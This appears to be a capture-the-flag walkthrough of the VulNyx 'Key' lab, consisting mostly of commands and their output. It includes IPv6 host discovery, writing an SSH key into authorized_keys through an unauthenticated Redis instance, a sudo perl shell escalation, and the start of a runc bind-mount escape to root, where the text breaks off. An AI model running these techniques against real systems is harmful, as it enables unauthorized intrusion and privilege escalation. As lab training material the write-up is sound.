VulNyx - Key

❯ nmap -p- -T5 -n -v 192.168.1.117

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

❯ nmap -sVC -v -p 22,80 192.168.1.117

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ip6(){
    clear
    yellow="\033[1;33m"
    white="\033[1;37m"
    green="\033[1;32m"
    end="\033[0m"

    i6_address=$(ip a | awk '/inet6/ {print $2}' | grep -v '::1/128' | sed 's/\/64//')
    echo -e "$white\n[+] IPv6 Local [+]\n$end $green"
    echo -e "$i6_address $end"
    echo -e "$white\n[+] IPv6 Addresses Found [+]\n$end $yellow"

    # Busca automáticamente la interfaz predeterminada
    default_interface=$(ip route | awk '/default/ {print $5}')
    
    # Usa una dirección multicast estándar
    multicast_address="ff02::1"

    # Binario ping6 para lanzar el escaneo "Sólo detecta IPv6 Linux"
    ping6 -c2 -n -I "$default_interface" -v "$multicast_address" 2>/dev/null | grep -E -o '([0-9a-fA-F]{1,4}::[0-9a-fA-F:]+)' | grep -v "$multicast_address" | grep -v "$i6_address" | while read -r ip_address; do
        ttl=$(ping6 -c1 -n -I "$default_interface" "$ip_address" 2>/dev/null | grep "ttl" | awk '{print $6}' | cut -d "=" -f2)
        echo -e "$ip_address (TTL: $ttl)"
    done

    echo -e "$end"
}

❯ nmap -p- -T5 -n -v -6 fe80::a00:27ff:fe2a:7739%eth0

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis

❯ nmap -sVC -p22,80,6379 -6 fe80::a00:27ff:fe2a:7739%eth0

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
6379/tcp open  redis   Redis key-value store 6.0.16
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info: 
|   IPv6 EUI-64: 
|     MAC address: 
|       address: 08:00:27:2a:77:39
|_      manuf: Oracle VirtualBox virtual NIC

❯ redis-cli -h fe80::a00:27ff:fe2a:7739%eth0 -p 6379
[fe80::a00:27ff:fe2a:7739%eth0]:6379>

[fe80::a00:27ff:fe2a:7739%eth0]:6379> config get *
284) "0"
285) "dir"
286) "/home/dick"
287) "save"
288) ""

[fe80::a00:27ff:fe2a:7739%eth0]:6379> config set dir /home/dick/.ssh
OK

❯ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

❯ cat spaced_key.txt | redis-cli -h fe80::a00:27ff:fe2a:7739%eth0 -p 6379 -x set ssh_key

[fe80::a00:27ff:fe2a:7739%eth0]:6379> config set dbfilename "authorized_keys"
OK
[fe80::a00:27ff:fe2a:7739%eth0]:6379> save
OK

❯ ssh dick@192.168.1.117
Linux key 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Sat Jan 20 14:41:23 2024 from 192.168.1.15
dick@key:~$ id
uid=1000(dick) gid=1000(dick) grupos=1000(dick)

dick@key:~$ sudo -l
Matching Defaults entries for dick on key:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dick may run the following commands on key:
    (gary) NOPASSWD: /usr/bin/perl

dick@key:~$ sudo -u gary perl -e 'exec "/bin/bash";'
gary@key:/home/dick$ id
uid=1001(gary) gid=1001(gary) grupos=1001(gary)

gary@key:/home/dick$ sudo -l
Matching Defaults entries for gary on key:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gary may run the following commands on key:
    (root) NOPASSWD: /usr/bin/runc

gary@key:~$ /usr/bin/runc spec
gary@key:~$ mkdir rootfs
gary@key:~$ nano config.json

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},